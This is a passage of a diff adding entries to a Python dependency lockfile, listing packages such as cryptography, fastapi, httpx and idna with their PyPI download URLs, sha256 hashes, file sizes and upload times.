+    { url = "https://files.pythonhosted.org/packages/f7/81/b0bb27f2ba931a65409c6b8a8b358a7f03c0e46eceacddff55f7c84b1f3b/cryptography-46.0.5-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:351695ada9ea9618b3500b490ad54c739860883df6c1f555e088eaf25b1bbaad", size = 7176289, upload-time = "2026-02-10T19:17:08.274Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/9e/6b4397a3e3d15123de3b1806ef342522393d50736c13b20ec4c9ea6693a6/cryptography-46.0.5-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c18ff11e86df2e28854939acde2d003f7984f721eba450b56a200ad90eeb0e6b", size = 4275637, upload-time = "2026-02-10T19:17:10.53Z" },
+    { url = "https://files.pythonhosted.org/packages/63/e7/471ab61099a3920b0c77852ea3f0ea611c9702f651600397ac567848b897/cryptography-46.0.5-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4d7e3d356b8cd4ea5aff04f129d5f66ebdc7b6f8eae802b93739ed520c47c79b", size = 4424742, upload-time = "2026-02-10T19:17:12.388Z" },
+    { url = "https://files.pythonhosted.org/packages/37/53/a18500f270342d66bf7e4d9f091114e31e5ee9e7375a5aba2e85a91e0044/cryptography-46.0.5-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:50bfb6925eff619c9c023b967d5b77a54e04256c4281b0e21336a130cd7fc263", size = 4277528, upload-time = "2026-02-10T19:17:13.853Z" },
+    { url = "https://files.pythonhosted.org/packages/22/29/c2e812ebc38c57b40e7c583895e73c8c5adb4d1e4a0cc4c5a4fdab2b1acc/cryptography-46.0.5-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:803812e111e75d1aa73690d2facc295eaefd4439be1023fefc4995eaea2af90d", size = 4947993, upload-time = "2026-02-10T19:17:15.618Z" },
+    { url = "https://files.pythonhosted.org/packages/6b/e7/237155ae19a9023de7e30ec64e5d99a9431a567407ac21170a046d22a5a3/cryptography-46.0.5-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3ee190460e2fbe447175cda91b88b84ae8322a104fc27766ad09428754a618ed", size = 4456855, upload-time = "2026-02-10T19:17:17.221Z" },
+    { url = "https://files.pythonhosted.org/packages/2d/87/fc628a7ad85b81206738abbd213b07702bcbdada1dd43f72236ef3cffbb5/cryptography-46.0.5-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:f145bba11b878005c496e93e257c1e88f154d278d2638e6450d17e0f31e558d2", size = 3984635, upload-time = "2026-02-10T19:17:18.792Z" },
+    { url = "https://files.pythonhosted.org/packages/84/29/65b55622bde135aedf4565dc509d99b560ee4095e56989e815f8fd2aa910/cryptography-46.0.5-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:e9251e3be159d1020c4030bd2e5f84d6a43fe54b6c19c12f51cde9542a2817b2", size = 4277038, upload-time = "2026-02-10T19:17:20.256Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/36/45e76c68d7311432741faf1fbf7fac8a196a0a735ca21f504c75d37e2558/cryptography-46.0.5-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:47fb8a66058b80e509c47118ef8a75d14c455e81ac369050f20ba0d23e77fee0", size = 4912181, upload-time = "2026-02-10T19:17:21.825Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/1a/c1ba8fead184d6e3d5afcf03d569acac5ad063f3ac9fb7258af158f7e378/cryptography-46.0.5-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:4c3341037c136030cb46e4b1e17b7418ea4cbd9dd207e4a6f3b2b24e0d4ac731", size = 4456482, upload-time = "2026-02-10T19:17:25.133Z" },
+    { url = "https://files.pythonhosted.org/packages/f9/e5/3fb22e37f66827ced3b902cf895e6a6bc1d095b5b26be26bd13c441fdf19/cryptography-46.0.5-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:890bcb4abd5a2d3f852196437129eb3667d62630333aacc13dfd470fad3aaa82", size = 4405497, upload-time = "2026-02-10T19:17:26.66Z" },
+    { url = "https://files.pythonhosted.org/packages/1a/df/9d58bb32b1121a8a2f27383fabae4d63080c7ca60b9b5c88be742be04ee7/cryptography-46.0.5-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:80a8d7bfdf38f87ca30a5391c0c9ce4ed2926918e017c29ddf643d0ed2778ea1", size = 4667819, upload-time = "2026-02-10T19:17:28.569Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/ed/325d2a490c5e94038cdb0117da9397ece1f11201f425c4e9c57fe5b9f08b/cryptography-46.0.5-cp311-abi3-win32.whl", hash = "sha256:60ee7e19e95104d4c03871d7d7dfb3d22ef8a9b9c6778c94e1c8fcc8365afd48", size = 3028230, upload-time = "2026-02-10T19:17:30.518Z" },
+    { url = "https://files.pythonhosted.org/packages/e9/5a/ac0f49e48063ab4255d9e3b79f5def51697fce1a95ea1370f03dc9db76f6/cryptography-46.0.5-cp311-abi3-win_amd64.whl", hash = "sha256:38946c54b16c885c72c4f59846be9743d699eee2b69b6988e0a00a01f46a61a4", size = 3480909, upload-time = "2026-02-10T19:17:32.083Z" },
+    { url = "https://files.pythonhosted.org/packages/00/13/3d278bfa7a15a96b9dc22db5a12ad1e48a9eb3d40e1827ef66a5df75d0d0/cryptography-46.0.5-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:94a76daa32eb78d61339aff7952ea819b1734b46f73646a07decb40e5b3448e2", size = 7119287, upload-time = "2026-02-10T19:17:33.801Z" },
+    { url = "https://files.pythonhosted.org/packages/67/c8/581a6702e14f0898a0848105cbefd20c058099e2c2d22ef4e476dfec75d7/cryptography-46.0.5-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5be7bf2fb40769e05739dd0046e7b26f9d4670badc7b032d6ce4db64dddc0678", size = 4265728, upload-time = "2026-02-10T19:17:35.569Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/4a/ba1a65ce8fc65435e5a849558379896c957870dd64fecea97b1ad5f46a37/cryptography-46.0.5-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fe346b143ff9685e40192a4960938545c699054ba11d4f9029f94751e3f71d87", size = 4408287, upload-time = "2026-02-10T19:17:36.938Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/67/8ffdbf7b65ed1ac224d1c2df3943553766914a8ca718747ee3871da6107e/cryptography-46.0.5-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:c69fd885df7d089548a42d5ec05be26050ebcd2283d89b3d30676eb32ff87dee", size = 4270291, upload-time = "2026-02-10T19:17:38.748Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/e5/f52377ee93bc2f2bba55a41a886fd208c15276ffbd2569f2ddc89d50e2c5/cryptography-46.0.5-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:8293f3dea7fc929ef7240796ba231413afa7b68ce38fd21da2995549f5961981", size = 4927539, upload-time = "2026-02-10T19:17:40.241Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/02/cfe39181b02419bbbbcf3abdd16c1c5c8541f03ca8bda240debc467d5a12/cryptography-46.0.5-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:1abfdb89b41c3be0365328a410baa9df3ff8a9110fb75e7b52e66803ddabc9a9", size = 4442199, upload-time = "2026-02-10T19:17:41.789Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/96/2fcaeb4873e536cf71421a388a6c11b5bc846e986b2b069c79363dc1648e/cryptography-46.0.5-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:d66e421495fdb797610a08f43b05269e0a5ea7f5e652a89bfd5a7d3c1dee3648", size = 3960131, upload-time = "2026-02-10T19:17:43.379Z" },
+    { url = "https://files.pythonhosted.org/packages/d8/d2/b27631f401ddd644e94c5cf33c9a4069f72011821cf3dc7309546b0642a0/cryptography-46.0.5-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:4e817a8920bfbcff8940ecfd60f23d01836408242b30f1a708d93198393a80b4", size = 4270072, upload-time = "2026-02-10T19:17:45.481Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/a7/60d32b0370dae0b4ebe55ffa10e8599a2a59935b5ece1b9f06edb73abdeb/cryptography-46.0.5-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:68f68d13f2e1cb95163fa3b4db4bf9a159a418f5f6e7242564fc75fcae667fd0", size = 4892170, upload-time = "2026-02-10T19:17:46.997Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/b9/cf73ddf8ef1164330eb0b199a589103c363afa0cf794218c24d524a58eab/cryptography-46.0.5-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:a3d1fae9863299076f05cb8a778c467578262fae09f9dc0ee9b12eb4268ce663", size = 4441741, upload-time = "2026-02-10T19:17:48.661Z" },
+    { url = "https://files.pythonhosted.org/packages/5f/eb/eee00b28c84c726fe8fa0158c65afe312d9c3b78d9d01daf700f1f6e37ff/cryptography-46.0.5-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:c4143987a42a2397f2fc3b4d7e3a7d313fbe684f67ff443999e803dd75a76826", size = 4396728, upload-time = "2026-02-10T19:17:50.058Z" },
+    { url = "https://files.pythonhosted.org/packages/65/f4/6bc1a9ed5aef7145045114b75b77c2a8261b4d38717bd8dea111a63c3442/cryptography-46.0.5-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:7d731d4b107030987fd61a7f8ab512b25b53cef8f233a97379ede116f30eb67d", size = 4652001, upload-time = "2026-02-10T19:17:51.54Z" },
+    { url = "https://files.pythonhosted.org/packages/86/ef/5d00ef966ddd71ac2e6951d278884a84a40ffbd88948ef0e294b214ae9e4/cryptography-46.0.5-cp314-cp314t-win32.whl", hash = "sha256:c3bcce8521d785d510b2aad26ae2c966092b7daa8f45dd8f44734a104dc0bc1a", size = 3003637, upload-time = "2026-02-10T19:17:52.997Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/57/f3f4160123da6d098db78350fdfd9705057aad21de7388eacb2401dceab9/cryptography-46.0.5-cp314-cp314t-win_amd64.whl", hash = "sha256:4d8ae8659ab18c65ced284993c2265910f6c9e650189d4e3f68445ef82a810e4", size = 3469487, upload-time = "2026-02-10T19:17:54.549Z" },
+    { url = "https://files.pythonhosted.org/packages/e2/fa/a66aa722105ad6a458bebd64086ca2b72cdd361fed31763d20390f6f1389/cryptography-46.0.5-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:4108d4c09fbbf2789d0c926eb4152ae1760d5a2d97612b92d508d96c861e4d31", size = 7170514, upload-time = "2026-02-10T19:17:56.267Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/04/c85bdeab78c8bc77b701bf0d9bdcf514c044e18a46dcff330df5448631b0/cryptography-46.0.5-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7d1f30a86d2757199cb2d56e48cce14deddf1f9c95f1ef1b64ee91ea43fe2e18", size = 4275349, upload-time = "2026-02-10T19:17:58.419Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/32/9b87132a2f91ee7f5223b091dc963055503e9b442c98fc0b8a5ca765fab0/cryptography-46.0.5-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:039917b0dc418bb9f6edce8a906572d69e74bd330b0b3fea4f79dab7f8ddd235", size = 4420667, upload-time = "2026-02-10T19:18:00.619Z" },
+    { url = "https://files.pythonhosted.org/packages/a1/a6/a7cb7010bec4b7c5692ca6f024150371b295ee1c108bdc1c400e4c44562b/cryptography-46.0.5-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:ba2a27ff02f48193fc4daeadf8ad2590516fa3d0adeeb34336b96f7fa64c1e3a", size = 4276980, upload-time = "2026-02-10T19:18:02.379Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/7c/c4f45e0eeff9b91e3f12dbd0e165fcf2a38847288fcfd889deea99fb7b6d/cryptography-46.0.5-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:61aa400dce22cb001a98014f647dc21cda08f7915ceb95df0c9eaf84b4b6af76", size = 4939143, upload-time = "2026-02-10T19:18:03.964Z" },
+    { url = "https://files.pythonhosted.org/packages/37/19/e1b8f964a834eddb44fa1b9a9976f4e414cbb7aa62809b6760c8803d22d1/cryptography-46.0.5-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3ce58ba46e1bc2aac4f7d9290223cead56743fa6ab94a5d53292ffaac6a91614", size = 4453674, upload-time = "2026-02-10T19:18:05.588Z" },
+    { url = "https://files.pythonhosted.org/packages/db/ed/db15d3956f65264ca204625597c410d420e26530c4e2943e05a0d2f24d51/cryptography-46.0.5-cp38-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:420d0e909050490d04359e7fdb5ed7e667ca5c3c402b809ae2563d7e66a92229", size = 3978801, upload-time = "2026-02-10T19:18:07.167Z" },
+    { url = "https://files.pythonhosted.org/packages/41/e2/df40a31d82df0a70a0daf69791f91dbb70e47644c58581d654879b382d11/cryptography-46.0.5-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:582f5fcd2afa31622f317f80426a027f30dc792e9c80ffee87b993200ea115f1", size = 4276755, upload-time = "2026-02-10T19:18:09.813Z" },
+    { url = "https://files.pythonhosted.org/packages/33/45/726809d1176959f4a896b86907b98ff4391a8aa29c0aaaf9450a8a10630e/cryptography-46.0.5-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:bfd56bb4b37ed4f330b82402f6f435845a5f5648edf1ad497da51a8452d5d62d", size = 4901539, upload-time = "2026-02-10T19:18:11.263Z" },
+    { url = "https://files.pythonhosted.org/packages/99/0f/a3076874e9c88ecb2ecc31382f6e7c21b428ede6f55aafa1aa272613e3cd/cryptography-46.0.5-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:a3d507bb6a513ca96ba84443226af944b0f7f47dcc9a399d110cd6146481d24c", size = 4452794, upload-time = "2026-02-10T19:18:12.914Z" },
+    { url = "https://files.pythonhosted.org/packages/02/ef/ffeb542d3683d24194a38f66ca17c0a4b8bf10631feef44a7ef64e631b1a/cryptography-46.0.5-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9f16fbdf4da055efb21c22d81b89f155f02ba420558db21288b3d0035bafd5f4", size = 4404160, upload-time = "2026-02-10T19:18:14.375Z" },
+    { url = "https://files.pythonhosted.org/packages/96/93/682d2b43c1d5f1406ed048f377c0fc9fc8f7b0447a478d5c65ab3d3a66eb/cryptography-46.0.5-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:ced80795227d70549a411a4ab66e8ce307899fad2220ce5ab2f296e687eacde9", size = 4667123, upload-time = "2026-02-10T19:18:15.886Z" },
+    { url = "https://files.pythonhosted.org/packages/45/2d/9c5f2926cb5300a8eefc3f4f0b3f3df39db7f7ce40c8365444c49363cbda/cryptography-46.0.5-cp38-abi3-win32.whl", hash = "sha256:02f547fce831f5096c9a567fd41bc12ca8f11df260959ecc7c3202555cc47a72", size = 3010220, upload-time = "2026-02-10T19:18:17.361Z" },
+    { url = "https://files.pythonhosted.org/packages/48/ef/0c2f4a8e31018a986949d34a01115dd057bf536905dca38897bacd21fac3/cryptography-46.0.5-cp38-abi3-win_amd64.whl", hash = "sha256:556e106ee01aa13484ce9b0239bca667be5004efb0aabbed28d353df86445595", size = 3467050, upload-time = "2026-02-10T19:18:18.899Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/dd/2d9fdb07cebdf3d51179730afb7d5e576153c6744c3ff8fded23030c204e/cryptography-46.0.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:3b4995dc971c9fb83c25aa44cf45f02ba86f71ee600d81091c2f0cbae116b06c", size = 3476964, upload-time = "2026-02-10T19:18:20.687Z" },
+    { url = "https://files.pythonhosted.org/packages/e9/6f/6cc6cc9955caa6eaf83660b0da2b077c7fe8ff9950a3c5e45d605038d439/cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:bc84e875994c3b445871ea7181d424588171efec3e185dced958dad9e001950a", size = 4218321, upload-time = "2026-02-10T19:18:22.349Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/5d/c4da701939eeee699566a6c1367427ab91a8b7088cc2328c09dbee940415/cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:2ae6971afd6246710480e3f15824ed3029a60fc16991db250034efd0b9fb4356", size = 4381786, upload-time = "2026-02-10T19:18:24.529Z" },
+    { url = "https://files.pythonhosted.org/packages/ac/97/a538654732974a94ff96c1db621fa464f455c02d4bb7d2652f4edc21d600/cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:d861ee9e76ace6cf36a6a89b959ec08e7bc2493ee39d07ffe5acb23ef46d27da", size = 4217990, upload-time = "2026-02-10T19:18:25.957Z" },
+    { url = "https://files.pythonhosted.org/packages/ae/11/7e500d2dd3ba891197b9efd2da5454b74336d64a7cc419aa7327ab74e5f6/cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:2b7a67c9cd56372f3249b39699f2ad479f6991e62ea15800973b956f4b73e257", size = 4381252, upload-time = "2026-02-10T19:18:27.496Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/58/6b3d24e6b9bc474a2dcdee65dfd1f008867015408a271562e4b690561a4d/cryptography-46.0.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:8456928655f856c6e1533ff59d5be76578a7157224dbd9ce6872f25055ab9ab7", size = 3407605, upload-time = "2026-02-10T19:18:29.233Z" },
+]
+
+[[package]]
+name = "deepdiff"
+version = "8.6.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "orderly-set" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/19/76/36c9aab3d5c19a94091f7c6c6e784efca50d87b124bf026c36e94719f33c/deepdiff-8.6.1.tar.gz", hash = "sha256:ec56d7a769ca80891b5200ec7bd41eec300ced91ebcc7797b41eb2b3f3ff643a", size = 634054, upload-time = "2025-09-03T19:40:41.461Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/f7/e6/efe534ef0952b531b630780e19cabd416e2032697019d5295defc6ef9bd9/deepdiff-8.6.1-py3-none-any.whl", hash = "sha256:ee8708a7f7d37fb273a541fa24ad010ed484192cd0c4ffc0fa0ed5e2d4b9e78b", size = 91378, upload-time = "2025-09-03T19:40:39.679Z" },
+]
+
+[[package]]
+name = "distlib"
+version = "0.4.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/96/8e/709914eb2b5749865801041647dc7f4e6d00b549cfe88b65ca192995f07c/distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d", size = 614605, upload-time = "2025-07-17T16:52:00.465Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/33/6b/e0547afaf41bf2c42e52430072fa5658766e3d65bd4b03a563d1b6336f57/distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16", size = 469047, upload-time = "2025-07-17T16:51:58.613Z" },
+]
+
+[[package]]
+name = "dnspython"
+version = "2.7.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/b5/4a/263763cb2ba3816dd94b08ad3a33d5fdae34ecb856678773cc40a3605829/dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1", size = 345197, upload-time = "2024-10-05T20:14:59.362Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/68/1b/e0a87d256e40e8c888847551b20a017a6b98139178505dc7ffb96f04e954/dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86", size = 313632, upload-time = "2024-10-05T20:14:57.687Z" },
+]
+
+[[package]]
+name = "exceptiongroup"
+version = "1.3.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions", marker = "python_full_version < '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" },
+]
+
+[[package]]
+name = "fastapi"
+version = "0.128.8"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "annotated-doc" },
+    { name = "pydantic" },
+    { name = "starlette" },
+    { name = "typing-extensions" },
+    { name = "typing-inspection" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/01/72/0df5c58c954742f31a7054e2dd1143bae0b408b7f36b59b85f928f9b456c/fastapi-0.128.8.tar.gz", hash = "sha256:3171f9f328c4a218f0a8d2ba8310ac3a55d1ee12c28c949650288aee25966007", size = 375523, upload-time = "2026-02-11T15:19:36.69Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/9f/37/37b07e276f8923c69a5df266bfcb5bac4ba8b55dfe4a126720f8c48681d1/fastapi-0.128.8-py3-none-any.whl", hash = "sha256:5618f492d0fe973a778f8fec97723f598aa9deee495040a8d51aaf3cf123ecf1", size = 103630, upload-time = "2026-02-11T15:19:35.209Z" },
+]
+
+[[package]]
+name = "filelock"
+version = "3.21.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/c0/6b/cc63cdbff46eba1ce2fbd058e9699f99c43f7e604da15413ca0331040bff/filelock-3.21.0.tar.gz", hash = "sha256:48c739c73c6fcacd381ed532226991150947c4a76dcd674f84d6807fd55dbaf2", size = 31341, upload-time = "2026-02-12T15:40:48.544Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/da/ab/05190b5a64101fcb743bc63a034c0fac86a515c27c303c69221093565f28/filelock-3.21.0-py3-none-any.whl", hash = "sha256:0f90eee4c62101243df3007db3cf8fc3ebf1bb13541d3e72c687d6e0f3f7d531", size = 21381, upload-time = "2026-02-12T15:40:46.964Z" },
+]
+
+[[package]]
+name = "ghp-import"
+version = "2.1.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "python-dateutil" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/d9/29/d40217cbe2f6b1359e00c6c307bb3fc876ba74068cbab3dde77f03ca0dc4/ghp-import-2.1.0.tar.gz", hash = "sha256:9c535c4c61193c2df8871222567d7fd7e5014d835f97dc7b7439069e2413d343", size = 10943, upload-time = "2022-05-02T15:47:16.11Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/f7/ec/67fbef5d497f86283db54c22eec6f6140243aae73265799baaaa19cd17fb/ghp_import-2.1.0-py3-none-any.whl", hash = "sha256:8337dd7b50877f163d4c0289bc1f1c7f127550241988d568c1db512c4324a619", size = 11034, upload-time = "2022-05-02T15:47:14.552Z" },
+]
+
+[[package]]
+name = "griffe"
+version = "1.15.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "colorama" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/0d/0c/3a471b6e31951dce2360477420d0a8d1e00dea6cf33b70f3e8c3ab6e28e1/griffe-1.15.0.tar.gz", hash = "sha256:7726e3afd6f298fbc3696e67958803e7ac843c1cfe59734b6251a40cdbfb5eea", size = 424112, upload-time = "2025-11-10T15:03:15.52Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/9c/83/3b1d03d36f224edded98e9affd0467630fc09d766c0e56fb1498cbb04a9b/griffe-1.15.0-py3-none-any.whl", hash = "sha256:6f6762661949411031f5fcda9593f586e6ce8340f0ba88921a0f2ef7a81eb9a3", size = 150705, upload-time = "2025-11-10T15:03:13.549Z" },
+]
+
+[[package]]
+name = "h11"
+version = "0.16.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" },
+]
+
+[[package]]
+name = "httpcore"
+version = "1.0.9"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "certifi" },
+    { name = "h11" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" },
+]
+
+[[package]]
+name = "httpx"
+version = "0.28.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "anyio" },
+    { name = "certifi" },
+    { name = "httpcore" },
+    { name = "idna" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" },
+]
+
+[[package]]
+name = "identify"
+version = "2.6.16"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/5b/8d/e8b97e6bd3fb6fb271346f7981362f1e04d6a7463abd0de79e1fda17c067/identify-2.6.16.tar.gz", hash = "sha256:846857203b5511bbe94d5a352a48ef2359532bc8f6727b5544077a0dcfb24980", size = 99360, upload-time = "2026-01-12T18:58:58.201Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/b8/58/40fbbcefeda82364720eba5cf2270f98496bdfa19ea75b4cccae79c698e6/identify-2.6.16-py2.py3-none-any.whl", hash = "sha256:391ee4d77741d994189522896270b787aed8670389bfd60f326d677d64a6dfb0", size = 99202, upload-time = "2026-01-12T18:58:56.627Z" },
+]
+
+[[package]]
+name = "idna"
+version = "3.11"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" },
+]
+
+[[package]]
+name = "importlib-metadata"
+version = "8.7.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "zipp" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/f3/49/3b30cad09e7771a4982d9975a8cbf64f00d4a1ececb53297f1d9a7be1b10/importlib_metadata-8.7.1.tar.gz", hash = "sha256:49fef1ae6440c182052f407c8d34a68f72efc36db9ca90dc0113398f2fdde8bb", size = 57107, upload-time = "2025-12-21T10:00:19.278Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/fa/5e/f8e9a1d23b9c20a551a8a02ea3637b4642e22c2626e3a13a9a29cdea99eb/importlib_metadata-8.7.1-py3-none-any.whl", hash = "sha256:5a1f80bf1daa489495071efbb095d75a634cf28a8bc299581244063b53176151", size = 27865, upload-time = "2025-12-21T10:00:18.329Z" },
+]
+
+[[package]]
+name = "importlib-resources"
+version = "6.5.2"
+source = { registry = "https://pypi.org/simple" }
